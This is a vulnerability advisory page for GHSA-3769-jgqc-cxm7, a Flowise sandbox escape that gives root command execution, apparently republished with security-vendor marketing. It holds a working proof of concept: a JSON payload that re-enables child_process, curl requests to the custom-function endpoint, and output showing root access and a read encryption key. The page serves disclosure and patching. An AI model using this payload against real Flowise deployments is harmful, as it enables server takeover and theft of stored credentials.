GHSA-3769-jgqc-cxm7 — flowise
Fix: FlowiseAI/Flowise#6306GHSA-3769-jgqc-cxm7 is a Code Injection vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3769-jgqc-cxm7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service
executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override
The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOF
Step 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />
Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent
access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.3npm install flowise@3.1.3 |
| 📦npm | flowise-components | all versions | 3.1.3npm install flowise-components@3.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3769-jgqc-cxm7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3769-jgqc-cxm7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-3769-jgqc-cxm7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3769-jgqc-cxm7 in your dependencies?
O3 Security finds GHSA-3769-jgqc-cxm7 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.